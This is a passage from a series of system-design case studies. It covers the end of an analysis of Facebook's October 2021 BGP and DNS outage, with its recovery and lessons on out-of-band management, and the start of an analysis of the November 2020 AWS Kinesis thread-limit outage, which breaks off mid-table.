2. **TTL expiration**: DNS records have a TTL (Time to Live) specifying how long resolvers may cache them. Facebook's DNS TTLs were relatively short. Within ~5 minutes of the BGP withdrawal, cached records began expiring at recursive resolvers worldwide.
3. **SERVFAIL storm**: As TTLs expired, recursive resolvers (1.1.1.1, 8.8.8.8, ISP resolvers) attempted to refresh records by querying Facebook's authoritative servers. Every query timed out. Resolvers returned SERVFAIL to clients.
4. **Retry amplification**: Clients (apps, browsers) retried DNS queries aggressively. This created a massive spike in DNS query volume across the internet's resolver infrastructure—not just for Facebook, but as collateral load on shared resolver infrastructure. Catchpoint measured that DNS resolvers experienced significant traffic flooding from ~3.5 billion devices retrying queries.

The HTTP-level symptoms: users' browsers and apps received DNS resolution failures. Those that managed to connect to edge infrastructure before BGP withdrawal completed received `HTTP/2 503` responses with the header `proxy-status: no_server_available`—the edge proxy could not locate any upstream server because the backbone was severed.

### Why It Wasn't Obvious to Fix

- **No remote access**: The most natural response—SSH into backbone routers and revert the configuration—was impossible. Remote management traversed the backbone. With the backbone down, every remote path was severed.
- **Out-of-band management shared fate**: OOB (Out-of-Band) management systems—designed for exactly this scenario—also routed through Facebook's network infrastructure. They were not truly independent.
- **Internal tools down**: Facebook's Workplace (internal communication), wikis, ticketing systems, and monitoring dashboards all ran on Facebook's infrastructure. Engineers could not use their normal incident response tools.
- **Physical access friction**: Data center security systems (badge readers, door locks, security cameras) depended on the corporate network. When engineers arrived at data centers, they faced delays getting through physical security.
- **Hardware tamper protection**: Data center hardware is designed to be difficult to modify, even with physical access—a security feature that became a recovery obstacle.

## Options Considered

For an outage of this nature, the recovery options are constrained:

### Option 1: Remote Reconfiguration

**Approach**: SSH into backbone routers via the management network and revert the configuration change.

**Why not possible**: The management network depended on the backbone. With the backbone down, all remote access paths were severed. This was the first option attempted and the first eliminated.

### Option 2: Out-of-Band Console Access

**Approach**: Use dedicated OOB management consoles (serial consoles, IPMI/iLO, dedicated management network) to access backbone routers remotely.

**Why not possible**: Facebook's OOB infrastructure was not fully independent of the backbone network. The OOB paths still routed through infrastructure that depended on the backbone being operational. This is the critical design flaw the incident exposed.

### Option 3: Physical Access and Manual Reconfiguration (Chosen)

**Approach**: Dispatch engineers to data center locations to physically access backbone router consoles and revert the configuration change.

**Pros**:
- Console access on a physical router does not depend on any network
- Definitive—once at the console, engineers can make changes
- No dependency on any software system

**Cons**:
- Time-consuming: engineers must physically travel to data center locations
- Physical security systems dependent on the network cause additional delays
- Hardware tamper protections slow manual intervention
- Requires personnel with physical proximity and appropriate access credentials

**Why chosen**: It was the only option that worked. Every remote path was severed. Physical presence was the only remaining out-of-band channel.

## Recovery

### Physical Access and Router Reconfiguration

Engineers were dispatched to data center locations to gain direct console access to backbone routers. The recovery process faced several friction points:

1. **Travel time**: Engineers needed to physically reach data center locations, which are typically in remote areas for cost, power, and cooling reasons
2. **Security delays**: Badge readers and automated door access systems depended on the corporate network. Manual security overrides and identity verification were required
3. **Hardware access**: Data center hardware is designed with physical tamper resistance. Accessing router consoles required navigating security measures designed to prevent unauthorized changes
4. **Configuration complexity**: The engineers needed to understand and revert the specific configuration change across backbone routers—under pressure, without access to internal documentation systems

Once engineers gained physical console access to backbone routers, they identified and reverted the configuration change that had severed backbone connectivity.

### Staged Service Restoration

Restoring backbone connectivity did not immediately restore services. Facebook's engineering team managed the restoration carefully to avoid a secondary failure from the traffic surge:

1. **Backbone connectivity restored**: Router configurations reverted; inter-datacenter links came back online
2. **Edge health checks pass**: Edge facilities detected restored backbone connectivity and began re-announcing BGP routes
3. **BGP propagation**: Routes propagated through the global routing table. First routes re-appeared around 21:00 UTC; a brief instability at 21:11 UTC was resolved by 21:30 UTC
4. **DNS resolution restored**: As BGP routes propagated, recursive resolvers could again reach Facebook's authoritative DNS servers. Fresh DNS records replaced the expired caches
5. **Traffic surge management**: With 3.5 billion users' devices retrying connections simultaneously, the returning traffic surge was massive. Facebook drew on experience from internal "storm" disaster recovery drills to manage the power and capacity ramp. Services were brought back progressively to avoid overwhelming systems that had been idle for 6 hours

The staged approach was critical. A system that has been down for 6 hours accumulates state: queued messages, pending replication, deferred batch jobs. Turning everything on simultaneously risks a thundering herd that could cause a secondary outage.

### The Audit Tool Bug

The configuration audit system represents the most consequential failure in this incident. Facebook's backbone configuration pipeline included an automated check designed to reject commands that would disconnect backbone links. This tool should have prevented the maintenance command from executing.

The tool had a bug: it did not correctly identify this specific command as dangerous. The command passed the audit check and executed. This is a single point of failure in the deployment pipeline—the one safeguard between a human error and a global outage failed silently.

Facebook stated post-incident that fixing the audit tool and strengthening configuration change safeguards was a top priority.

## Cascading Failures

### Third-Party Service Impact

The outage extended beyond Meta's own properties:

- **Facebook Login (OAuth)**: Millions of third-party websites and apps that use "Login with Facebook" for authentication were affected. Users could not sign in to services that depended on Facebook's OAuth endpoints.
- **Facebook SDK and Ads**: Websites embedding Facebook Like buttons, Share buttons, comments widgets, and advertising tags experienced degraded performance. Catchpoint measured that document complete times on IR Top 100 sites increased by 20+ seconds during the incident—even for sites that were not Facebook properties—because embedded Facebook SDKs attempted to load resources from unreachable domains, blocking page rendering.
- **WhatsApp as communication infrastructure**: In many countries, WhatsApp serves as primary communication infrastructure for businesses, healthcare, and government services. The outage disrupted these use cases globally.

### Internal Communication Breakdown

Facebook's internal tools all ran on Facebook's infrastructure:

- **Workplace** (internal Facebook for companies): Down. Engineers could not post updates or coordinate through their primary communication platform.
- **Internal wikis and documentation**: Unreachable. Runbooks, incident response procedures, and contact information stored internally were inaccessible.
- **Monitoring and alerting dashboards**: Unable to function because they depended on the backbone.

Engineers coordinated through personal cell phones, non-Facebook messaging apps, and in some reported cases, showed up at offices physically to coordinate. This is a practical demonstration of why incident response communication tools must have zero dependency on the infrastructure they manage.

### DNS Resolver Collateral Damage

The global DNS resolver infrastructure experienced significant collateral load:

- 3.5 billion devices retried DNS queries for Meta domains every few seconds
- Recursive resolvers (ISP resolvers, public resolvers like 1.1.1.1 and 8.8.8.8) saw massive query volume spikes
- The retry storm consumed resolver capacity that would otherwise serve queries for unrelated domains
- Some smaller ISP resolvers experienced degraded performance for all domains—not just Meta's—due to the query volume

This is an inherent risk when an extremely high-traffic set of domains becomes simultaneously unresolvable: the retry behavior of billions of clients creates a distributed denial-of-service effect on the DNS resolver layer.

## Lessons Learned

### Technical Lessons

#### 1. Out-of-Band Management Must Be Truly Out-of-Band

**The insight**: Facebook's OOB management systems shared fate with the production backbone. When the backbone failed, the management plane failed with it. An OOB system that routes through any component of the system it manages is not actually out-of-band—it is an in-band system with a different name.

**How it applies elsewhere:**

- Any management network that shares physical infrastructure (same routers, same fiber, same switches) with the production network
- Cloud-based management consoles that depend on the same cloud region they manage
- VPN-based management access where the VPN terminates on infrastructure that can fail
- Monitoring systems that share network paths with the services they monitor

**Warning signs to watch for:**

- Your management access fails when you test it during a network outage drill
- Your OOB consoles route through the same L3 network as production traffic
- You have never tested management access with the primary network completely unavailable

**What truly independent OOB looks like:**

- Dedicated physical links (cellular, satellite, or dedicated ISP connection) that share zero infrastructure with the backbone
- Console servers with independent power and independent network connectivity
- Management credentials and procedures stored offline or on systems with independent hosting

#### 2. Automated Safety Mechanisms Can Amplify Failures

**The insight**: The BGP route withdrawal was a safety mechanism working as designed—edge facilities should not advertise routes to unreachable destinations. But in this case, the safety mechanism transformed a backbone failure into a global DNS outage. The safety feature became the propagation path for the failure.

**How it applies elsewhere:**

- Health-check-based load balancer ejection that removes all backends during a transient failure, causing a complete outage instead of degraded service
- Circuit breakers that open simultaneously across all instances, causing total service unavailability instead of partial degradation
- Automated rollback systems that roll back a deployment across all regions simultaneously when one region has issues

**Warning signs to watch for:**

- Safety mechanisms that operate independently per-node but can trigger simultaneously across all nodes
- No distinction between "one node is unhealthy" and "all nodes are unhealthy" in your health check logic
- Automated responses that have no rate limiting or quorum requirements before taking global action

#### 3. DNS Is a Hidden Single Point of Failure

**The insight**: Facebook ran its own authoritative DNS servers in its own infrastructure. This meant DNS availability was coupled to infrastructure availability. When the infrastructure failed, DNS failed, and no fallback existed—users could not even be redirected to a "we're down" page because the domain names could not be resolved.

**How it applies elsewhere:**

- Self-hosted authoritative DNS with all nameservers in a single infrastructure
- DNS zones where all nameservers share a common failure domain (same network, same cloud provider, same physical location)
- Internal service discovery systems that depend on a single DNS infrastructure

**Warning signs to watch for:**

- All your authoritative nameservers resolve to IP addresses in the same /16 or /24 network block
- Your nameservers are hosted in the same data centers as the services they resolve
- You have not tested what happens to DNS when your primary network is unreachable

#### 4. Configuration Change Audit Systems Are Critical Infrastructure

**The insight**: The audit tool that should have blocked the dangerous backbone command had a bug. A single bug in a safety system removed the last safeguard between human error and a global outage. Audit systems must be tested as rigorously as the systems they protect.

**How it applies elsewhere:**

- Pre-deployment validation checks that are trusted but not tested against the specific failure modes they claim to prevent
- Approval workflows where the automated check is treated as the definitive safety gate
- Configuration management systems where the validation logic is complex and its coverage is not verified

**Warning signs to watch for:**

- Your configuration audit system has never blocked a deployment in production
- The audit system is tested with synthetic inputs but not with actual dangerous commands
- There is no secondary validation or human review for changes that could affect global infrastructure

### Process Lessons

#### 1. Incident Communication Must Be Infrastructure-Independent

**What happened**: Engineers could not use Workplace, internal wikis, or monitoring tools because they all depended on the backbone. Coordination fell back to personal phones and non-Facebook messaging.

**What this means**: Every organization must maintain incident communication channels that have zero dependency on the organization's own infrastructure. This includes:

- Contact lists stored outside the corporate network (printed, personal devices)
- Communication channels on third-party infrastructure (not self-hosted Slack, not corporate email if it is self-hosted)
- Incident response runbooks accessible offline

#### 2. Physical Access Procedures Must Be Tested Under Network Failure

**What happened**: Physical security at data centers depended on the network. Engineers faced delays getting into the buildings they needed to access to fix the problem.

**What this means**: Physical security override procedures must be tested regularly with the assumption that the network is completely unavailable. Badge readers, door locks, and security cameras that fail-closed on network outage create a catch-22 where you cannot physically access the systems you need to restore the network.

### Organizational Lessons

#### 1. Scale Creates Unique Failure Modes

At Facebook's scale, with 3.5 billion users across multiple products all sharing common infrastructure, the blast radius of an infrastructure failure is inherently global. The DNS retry storm from billions of devices is an emergent behavior that only occurs at this scale. The recovery traffic surge from 6 hours of accumulated state is similarly unique to services of this size.

Organizations operating at this scale must plan for failure modes that do not exist at smaller scales—including the second-order effects of their failures on shared internet infrastructure like DNS resolvers.

## Applying This to Your System

### When This Pattern Applies

You might face similar challenges if:

- Your management and monitoring infrastructure shares fate with your production infrastructure
- Your DNS authoritative servers are hosted in your own infrastructure without geographic or network diversity
- Your configuration change pipeline has automated validation that has never been tested with actually dangerous inputs
- Your data center physical access depends on network-connected security systems
- Your incident response communication tools run on the same infrastructure you operate

### Checklist for Evaluation

- [ ] Trace the network path of your OOB management access—does it share any infrastructure component with production?
- [ ] Test your management access with the primary network completely down (not just degraded)
- [ ] Verify your DNS authoritative nameservers are hosted across genuinely independent network paths
- [ ] Confirm your incident communication tools work when your primary infrastructure is fully unavailable
- [ ] Test your configuration audit system with actually dangerous inputs (in a safe environment)
- [ ] Verify data center physical access procedures under complete network failure
- [ ] Identify all internal tools that depend on your production infrastructure and establish offline alternatives
- [ ] Conduct a "total backbone failure" tabletop exercise with your operations team

### Starting Points

If you want to evaluate your risk:

1. **Map your management plane dependencies**: Draw the network path from your laptop to your critical network equipment's management console. Every hop that shares infrastructure with production is a shared-fate risk.
2. **Test DNS independence**: Use `dig +trace` to follow the resolution path for your domains. If all authoritative nameservers resolve to addresses in your network, you have a single point of failure.
3. **Audit your audit tools**: Review your configuration change validation. What specific failure modes does it check? Has it been tested with the actual commands it is meant to block? When was the last time it rejected a change?
4. **Run a communication drill**: Attempt to coordinate an incident response using only channels that do not depend on your infrastructure. If your team cannot do this smoothly, invest in establishing and practicing alternative communication paths.

## Conclusion

The Facebook October 2021 outage is the canonical example of shared-fate failure in internet infrastructure. A configuration error severed the backbone. The backbone failure triggered a safety mechanism (BGP withdrawal) that was working as designed. The BGP withdrawal made DNS servers unreachable. DNS failure made all Meta properties unreachable for 3.5 billion users. And every path to recovery—remote management, OOB consoles, internal documentation, physical building access—depended on the same backbone that had failed.

The root cause was not exotic: a maintenance command that should have been caught by an audit tool, which had a bug. What made the incident extraordinary was the depth of dependency coupling. The principle of defense in depth assumes that your recovery mechanisms are independent of your failure domains. This incident demonstrated what happens when that assumption is violated at every layer simultaneously.

The transferable lesson is not about BGP or DNS specifically. It is about **dependency inversion in recovery paths**: if the system you need to fix the problem depends on the problem being fixed, you have a recovery deadlock. Every organization should trace their recovery paths—management access, communication tools, physical access, documentation—and verify that none of them share fate with the infrastructure they are meant to recover.

## Appendix

### Prerequisites

- Understanding of BGP (Border Gateway Protocol) and how internet routing works (route announcements, AS paths, prefix advertisement and withdrawal)
- Familiarity with DNS resolution (authoritative vs. recursive resolvers, TTL, SERVFAIL behavior)
- Knowledge of network architecture concepts (backbone networks, edge/PoP facilities, peering)
- Understanding of out-of-band management concepts and why management plane separation matters

### Terminology

| Term | Definition |
|------|-----------|
| **AS (Autonomous System)** | A collection of IP networks under a single administrative domain with a unified routing policy. Facebook operates AS32934. |
| **BGP (Border Gateway Protocol)** | The routing protocol used between autonomous systems to exchange reachability information. Defined in RFC 4271. |
| **BGP route withdrawal** | A BGP UPDATE message that removes a previously announced route, telling peers that a prefix is no longer reachable through this path. |
| **Authoritative DNS server** | The DNS server that holds the definitive records for a domain. Facebook's authoritative servers (a–d.ns.facebook.com) lived in their edge facilities. |
| **Recursive DNS resolver** | A DNS server that resolves queries on behalf of clients by following the delegation chain from root servers to authoritative servers. Examples: 1.1.1.1 (Cloudflare), 8.8.8.8 (Google). |
| **TTL (Time to Live)** | A value in DNS records specifying how long a resolver may cache the record before it must re-query the authoritative server. |
| **SERVFAIL** | A DNS response code indicating the resolver could not complete the query—typically because the authoritative servers are unreachable or returned an error. |
| **OOB (Out-of-Band) management** | A management network that is physically or logically separate from the production network, intended to provide access when the production network fails. |
| **Backbone network** | A private WAN connecting an organization's data centers, distinct from the public internet. Facebook's backbone spans tens of thousands of miles of fiber. |
| **Edge facility / PoP** | A Point of Presence at the network edge, typically co-located at internet exchange points, serving as the interface between the backbone and the public internet. |
| **Black hole (routing)** | A condition where packets are forwarded to a destination that cannot deliver them, causing silent packet loss. BGP withdrawal prevents this. |

### Summary

- A maintenance command intended to assess Facebook's backbone capacity contained an error that severed all backbone connections between data centers. An audit tool designed to prevent such commands had a bug that let it execute.
- Edge facilities detected loss of backbone connectivity and automatically withdrew BGP routes for AS32934—a safety mechanism that prevents advertising routes to unreachable destinations. This removed Facebook from the global routing table.
- With no BGP routes, Facebook's authoritative DNS servers (hosted in edge facilities) became unreachable. DNS TTLs expired within minutes, and recursive resolvers worldwide returned SERVFAIL for all Meta domains, affecting 3.5 billion users.
- Every recovery path shared fate with the failure: remote management, OOB consoles, internal tools, and even physical data center security all depended on the backbone. Engineers had to physically travel to data centers and manually reconfigure backbone routers.
- The incident demonstrated that out-of-band management must be truly independent of production infrastructure, that automated safety mechanisms can amplify failures when they trigger globally, and that configuration audit tools are critical infrastructure that must be tested as rigorously as the systems they protect.

### References

- [More Details About the October 4 Outage](https://engineering.fb.com/2021/10/05/networking-traffic/outage-details/) — Santosh Janardhan, VP of Infrastructure, Meta Engineering. Primary source for root cause, backbone architecture, audit tool bug, and recovery details.
- [Update About the October 4th Outage](https://about.fb.com/news/2021/10/update-about-the-october-4th-outage/) — Meta Newsroom. Official company statement on the outage.
- [Understanding How Facebook Disappeared from the Internet](https://blog.cloudflare.com/october-2021-facebook-outage/) — Cloudflare Blog. Analysis of BGP withdrawal patterns and DNS resolver impact observed from Cloudflare's 1.1.1.1 resolver infrastructure.
- [Facebook's Historic Outage, Explained](https://www.kentik.com/blog/facebooks-historic-outage-explained/) — Doug Madory, Kentik. Detailed BGP analysis including AS32934 prefix counts (300+ prefixes), specific withdrawn prefixes (129.134.30.0/23, 129.134.30.0/24), and traffic pattern analysis.
- [Facebook Down and Out in BGPlay](https://labs.ripe.net/author/alun_davies/facebook-down-and-out-in-bgplay/) — RIPE Labs. Real-time BGP visualization showing route withdrawal from 15:42 UTC to complete withdrawal at 15:53:47 UTC, and recovery beginning at ~21:00 UTC.
- [Incident Review for the Facebook Outage](https://www.catchpoint.com/blog/incident-review-for-the-facebook-outage-when-social-networks-go-anti-social) — Catchpoint. HTTP-level analysis including 503 errors, `proxy-status: no_server_available` headers, DNS SERVFAIL patterns, and third-party website impact (20+ second load time increase on IR Top 100 sites).
- [RFC 4271 — A Border Gateway Protocol 4 (BGP-4)](https://datatracker.ietf.org/doc/html/rfc4271) — IETF. The specification governing BGP behavior, including UPDATE messages for route withdrawal.
- [RFC 1034 — Domain Names: Concepts and Facilities](https://datatracker.ietf.org/doc/html/rfc1034) — IETF. DNS architecture specification relevant to authoritative server delegation and resolver behavior.
- [RFC 1035 — Domain Names: Implementation and Specification](https://datatracker.ietf.org/doc/html/rfc1035) — IETF. DNS protocol specification including TTL behavior and SERVFAIL response semantics.

---

## AWS Kinesis 2020 Outage: Thread Limits, Thundering Herds, and Hidden Dependencies

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/aws-kinesis-2020-outage
**Category:** System Design / Real-World Case Studies
**Description:** How a routine capacity addition to Amazon Kinesis Data Streams in US-EAST-1 exceeded an OS thread limit on every front-end server, triggering a 17-hour cascading failure that took down CloudWatch, Lambda, Cognito, and dozens of other AWS services on November 25, 2020—the day before Thanksgiving. This incident is a case study in O(N²) scaling patterns, untested failsafes, and the consequences of monitoring systems that depend on the services they monitor.

# AWS Kinesis 2020 Outage: Thread Limits, Thundering Herds, and Hidden Dependencies

How a routine capacity addition to Amazon Kinesis Data Streams in US-EAST-1 exceeded an OS thread limit on every front-end server, triggering a 17-hour cascading failure that took down CloudWatch, Lambda, Cognito, and dozens of other AWS services on November 25, 2020—the day before Thanksgiving. This incident is a case study in O(N²) scaling patterns, untested failsafes, and the consequences of monitoring systems that depend on the services they monitor.

<figure>

![The failure chain: a capacity addition pushed per-server thread counts past the OS limit, collapsing the entire monolithic front-end fleet. Recovery was throttled to avoid thundering herd effects, extending the outage to 17 hours.](./the-failure-chain-a-capacity-addition-pushed-per-server-thread-counts-past-the-o.svg)

<figcaption>The failure chain: a capacity addition pushed per-server thread counts past the OS limit, collapsing the entire monolithic front-end fleet. Recovery was throttled to avoid thundering herd effects, extending the outage to 17 hours.</figcaption>
</figure>

## Abstract

The core mental model for this incident is a three-stage failure amplification:

| Stage | What Happened | Why It Was Hard to Fix |
|-------|--------------|----------------------|
| **Trigger** | Adding servers to the front-end fleet pushed per-server OS thread count past the configured limit | Thread-per-peer gossip protocol scaled O(N) per server, O(N²) aggregate—the limit was latent until capacity growth crossed it |
| **Cascade** | Kinesis front-end servers could not build shard-map caches, killing request routing for the entire fleet | The front-end was monolithic (not cellularized)—every server depended on every other server, so the failure was fleet-wide |
| **Recovery** | Restarting servers competed for CPU/memory between shard-map construction and request processing | Restarting too fast triggered thundering herd: servers deemed unhealthy and removed, resetting progress. Only a few hundred servers per hour could safely rejoin |

The secondary failures are equally instructive: CloudWatch depended on Kinesis for metric ingestion, so monitoring went blind. Cognito's "graceful degradation" buffer had a latent bug that blocked forever when full. The Service Health Dashboard could not post updates because its publishing tool authenticated through Cognito. Each layer of supposed fault isolation turned out to share a common dependency.

## Context

### The System

Amazon Kinesis Data Streams is AWS's managed service for real-time data streaming. The architecture relevant to this incident has two layers:

- **Front-end fleet**: Many thousands of servers responsible for authentication, throttling, and routing requests to the correct back-end cluster. Each front-end server maintains a **shard-map cache**—a routing table containing fleet membership, shard ownership, and back-end health data.
- **Back-end clusters**: A cell-based architecture where individual cells own subsets of shards. The back-end was already cellularized at the time of the incident, providing isolation between cells.

The shard-map cache on each front-end server is populated from three sources:

1. A **microservice** that vends fleet membership information
2. **DynamoDB** for authoritative configuration
3. **Inter-server messaging** (a gossip-like protocol) from other front-end servers

The critical architectural detail: each front-end server creates **one OS thread for each other server in the fleet**. This is used for the inter-server communication that propagates shard-map updates, cluster health information, and administrative changes. In a fleet of N servers, each server requires N-1 threads for gossip alone, plus threads for request processing and cache construction.

### The Trigger

**November 25, 2020, 2:44 AM PST**: A routine, relatively small capacity addition to the Kinesis front-end fleet begins—likely in anticipation of Thanksgiving holiday traffic. The addition completes by 3:47 AM PST after roughly one hour of propagation across the fleet.

### Constraints

- **Fleet size**: "Many thousands of servers" in the US-EAST-1 front-end fleet
- **Thread scaling**: Thread count per server scales linearly with fleet size (O(N) per server)
- **Propagation time**: New server discovery takes up to one hour to fully propagate
- **Restart rate**: Only "a few hundred servers per hour" can safely rejoin without triggering cascading failures
- **Dependent services**: CloudWatch, Lambda, Cognito, EventBridge, and dozens of others use Kinesis internally

## The Problem

### Symptoms

Between 3:47 AM and 5:15 AM PST, the newly added servers propagated through the fleet. As each existing server discovered new peers, it attempted to create additional OS threads. This pushed the total thread count on every front-end server past the maximum allowed by the operating system configuration.

When thread creation failed:

1. Shard-map cache construction could not complete
2. Front-end servers were left with incomplete ("useless") shard-maps
3. Servers could no longer route requests to the correct back-end clusters
4. Kinesis put/get API calls began failing fleet-wide

At **5:15 AM PST**, the first alarms fired for Kinesis read/write errors.

### Incident Timeline

| Time (PST) | Event | Action |
|------------|-------|--------|
| 2:44 AM | Capacity addition to front-end fleet begins | Automated routine operation |
| 3:47 AM | Capacity addition completes | — |
| ~3:47–5:15 AM | Thread limits exceeded; shard-map construction fails silently | Latent failure period—no alarms yet |
| **5:15 AM** | First Kinesis error alarms fire; EventBridge begins experiencing API errors | Team paged |
| 6:15 AM | Lambda invocation errors begin (memory contention from CloudWatch metric buffering) | Investigation ongoing |
| **7:51 AM** | Root cause narrowed to candidate set; full fleet restart determined necessary | Decision to restart |
| **9:39 AM** | Root cause confirmed: OS thread limit exceeded on all front-end servers | ~4.5 hours after first alarm |
| 10:07 AM | First front-end servers successfully return to handling traffic | ~2 hours after restart decision |
| 10:15 AM | Cognito mitigation deployment begins | — |
| 10:36 AM | Lambda error rates resolved | — |
| 12:15 PM | Cognito shows significant improvement | — |
| 2:18 PM | Cognito returns to normal | ~9 hours after first alarm |
| 4:15 PM | Majority of ECS/EKS issues resolved | ~11 hours after first alarm |
| 5:47 PM | CloudWatch errors begin declining | — |
| **10:23 PM** | Kinesis fully recovered | **~17 hours after first alarm** |
| 10:31 PM | CloudWatch fully recovered; metric data backfill begins | — |

### Root Cause Analysis

**Investigation process:**

1. **5:15–7:51 AM**: The team investigated multiple hypotheses. The shard-map construction failure was evident, but the underlying cause—thread exhaustion—was not immediately obvious because the symptoms (bad routing data) pointed to the cache layer, not the OS.
2. **7:51 AM**: The team narrowed the root cause to a set of candidates. Regardless of which candidate was correct, any likely cause would require a full restart of the front-end fleet. They made the decision to begin restarting.
3. **9:39 AM**: Root cause confirmed—the OS thread limit had been exceeded on every front-end server.

**The actual root cause**: The thread-per-peer gossip protocol created O(N) thread usage per server. When N increased past a threshold where N-1 gossip threads plus request-handling threads exceeded the OS-configured maximum, all servers failed simultaneously. The failure was silent during the ~90-minute propagation window because shard-map construction fails gracefully (it produces incomplete data rather than crashing), and the alarms that would have detected the degradation had a delay before firing.

### The Specific OS Thread Limit

AWS did not disclose the exact numeric limit. Analysis from multiple sources points to Linux-level thread constraints:

- **`/proc/sys/kernel/pid_max`** — defaults to 32,768 on older kernels (each thread consumes a PID)
- **`ulimit -u` (RLIMIT_NPROC)** — maximum user processes/threads
- **cgroup limits** — if the fleet ran in containers

The Downtime Project's analysis suggests the default Linux thread limit of ~32K was the likely threshold. The precise number matters less than the structural issue: any thread-per-peer design has a hard ceiling that grows closer as the fleet grows.

### Why It Wasn't Obvious

- **The capacity addition was small**: This was not a dramatic change. The fleet was already near the thread limit; the addition simply crossed it.
- **The failure was latent**: Thread limits were exceeded during the ~90-minute gossip propagation window, not at the instant of the capacity change. The gap between cause and visible symptoms was ~2.5 hours.
- **Shard-map failures were silent**: Rather than crashing, servers produced incomplete routing data. This looked like a cache or metadata issue, not a thread exhaustion issue.
- **The monitoring system was also affected**: CloudWatch—the primary observability tool—depended on Kinesis, creating a partial blindness during investigation.

### Detection Gap

**Why it took ~2.5 hours to detect** (2:44 AM trigger → 5:15 AM first alarm):

The capacity addition itself was a normal operation. The thread limit was exceeded gradually as gossip propagated. Shard-map construction degraded silently rather than failing loudly. The detection gap existed because:

1. There was no alarm on per-server thread count approaching the OS limit
2. Shard-map health monitoring did not alert on incomplete (but non-empty) maps
3. The metric pipeline that would surface these signals was itself degrading

**Detection improvements made post-incident:**

- Fine-grained thread consumption alarming—proactive alerts before limits are reached
- Testing of increased OS thread limit configurations
- Dedicated monitoring that does not depend on Kinesis

## Recovery

### Why Initial Recovery Was Difficult

The recovery was constrained by a fundamental resource contention problem. On each front-end server, the resources used to **construct the shard-map cache** compete with the resources used to **process incoming requests**. When a server restarts:

1. It must build a fresh shard-map by querying DynamoDB and communicating with peers
2. While building the map, it must also handle incoming traffic
3. If too many servers restart simultaneously, shard-map construction consumes most CPU and memory
4. Servers that cannot process requests quickly enough are marked **unhealthy** by health checks
5. Unhealthy servers are **removed from the fleet**
6. This resets recovery progress—a classic thundering herd loop

<figure>

![The thundering herd loop that constrained recovery speed. Restarting too many servers at once caused health check failures, removing servers faster than they could rejoin.](./the-thundering-herd-loop-that-constrained-recovery-speed-restarting-too-many-ser.svg)

<figcaption>The thundering herd loop that constrained recovery speed. Restarting too many servers at once caused health check failures, removing servers faster than they could rejoin.</figcaption>
</figure>

### Recovery Strategy

The team implemented a controlled, multi-step recovery:

1. **Rolled back the capacity addition** — removed the newly added servers to restore the fleet to its previous (known-good) size, ensuring the thread limit would not be exceeded on restarted servers
2. **Changed the metadata fetching strategy** — configured servers to fetch shard-map data directly from DynamoDB (the authoritative store) rather than relying on the gossip protocol, reducing thread requirements during cold start
3. **Controlled rolling restart** — brought servers back at the rate of a few hundred per hour, carefully monitoring each batch to ensure shard-map construction completed before adding more
4. **10:07 AM**: First servers successfully returned to traffic (~2 hours after the restart decision at 7:51 AM)
5. **Progressive improvement** through the day as more servers came online
6. **10:23 PM**: Full Kinesis recovery—approximately 12.5 hours after restarts began

### The Instance Type Decision

A critical corrective action, implemented during and after the incident: AWS migrated the front-end fleet to **larger CPU and memory server instances**. The reasoning:

- Fewer total servers needed to handle the same load → fewer servers in the fleet
- Fewer servers → fewer threads per server (since thread count scales with fleet size)
- More CPU/memory per server → shard-map construction and request processing can coexist without resource contention
- Greater headroom before hitting OS thread limits

This addresses the immediate problem but does not fix the structural O(N²) scaling—that required cellularization (see Corrective Actions).

## Dependent Services Impact

The Kinesis outage revealed a hidden dependency graph across AWS. Services that used Kinesis internally—often for analytics, logging, or event routing—experienced cascading failures with distinct failure modes.

### CloudWatch: The Monitoring System Goes Blind

**How it depended on Kinesis**: CloudWatch uses Kinesis as a buffer for `PutMetricData` and `PutLogEvents` (CloudWatch Logs). When Kinesis failed, metric data could not be ingested.

**Impact**:

- `PutMetricData` and `PutLogEvents` API calls returned errors
- CloudWatch Alarms transitioned to **INSUFFICIENT_DATA** state because no metric data was flowing
- Reactive AutoScaling policies that depended on CloudWatch metrics stopped triggering
- AWS internal teams lost visibility into their own services

**The meta-irony**: The monitoring system's dependency on Kinesis meant that during the outage, operators had degraded ability to observe what was happening across their infrastructure. This blind spot extended to customers: teams could see their services failing but could not correlate the failures through their CloudWatch dashboards.

**Recovery**: 5:47 PM PST early signs of recovery; 10:31 PM full recovery. Metric data was backfilled subsequently.

**Post-incident fix**: AWS deployed a **3-hour local metrics data store** in US-EAST-1 (with global rollout planned) so CloudWatch can persist recent metric data locally even when Kinesis is unavailable.

### Cognito: The Latent Buffer Bug

**How it depended on Kinesis**: Amazon Cognito used Kinesis to ship API usage analytics data.

**The failure**: When Kinesis became unavailable, Cognito's analytics buffer was designed to absorb the backlog gracefully. Instead, a **latent bug** in the buffering code caused it to **block forever when the buffer filled**. Cognito webservers hung on backlogged buffers, causing elevated API failures and increased latencies for User Pools, Identity Pools, and external authentication flows (social sign-in, SAML, OIDC).

This is a textbook example of an untested failsafe. The buffer was designed for Kinesis unavailability, but the scenario (prolonged, complete Kinesis failure) had never been tested. The buffer's blocking behavior transformed a non-critical analytics dependency into a service-killing failure.

**Recovery**: Mitigation deployment began at 10:15 AM; significant improvement by 12:15 PM; normal operations restored at 2:18 PM PST.

**Post-incident fix**: Cognito webservers modified to sustain Kinesis API errors without exhausting buffers; internal buffer capacity increased.

### Lambda: Memory Contention from Metric Buffering

**How it depended on Kinesis**: Indirectly, through CloudWatch. Lambda host systems buffer CloudWatch metric data locally. When CloudWatch ingestion backed up (because Kinesis was down), the buffered data caused **memory contention** on Lambda host systems, crowding out actual function execution resources.

**Impact**: Elevated Lambda invocation errors starting at 6:15 AM PST.

**Recovery**: Mitigation actions resolved the issue by 10:36 AM PST.

### EventBridge: Event Processing Delays

**How it depended on Kinesis**: Amazon EventBridge (CloudWatch Events) relies on Kinesis for event processing pipelines.

**Impact**: Increased API errors and delays in event processing starting at 5:15 AM PST. This cascaded to ECS and EKS, which rely on EventBridge for orchestration events (cluster provisioning, scaling, task de-provisioning).

**Recovery**: ECS/EKS majority resolved by 4:15 PM PST (~11 hours after errors started).

### The Service Health Dashboard: Can't Report the Outage

**How it depended on Kinesis**: Indirectly, through Cognito. The tool AWS operators use to post updates to the public Service Health Dashboard (status.aws.amazon.com) authenticated through Cognito. With Cognito down, operators could not post status updates.

A backup manual tool with fewer dependencies existed, but operators were unfamiliar with its procedures. The result: for an extended period, the official status page showed services as healthy while customers experienced widespread failures.

**Post-incident fix**: Enhanced training on backup Service Health Dashboard tools; development of a manual backup tool with minimal service dependencies.

### Other Affected Services

The following services reported degradation based on status page updates and third-party reporting:

| Service | Dependency Path |
|---------|----------------|
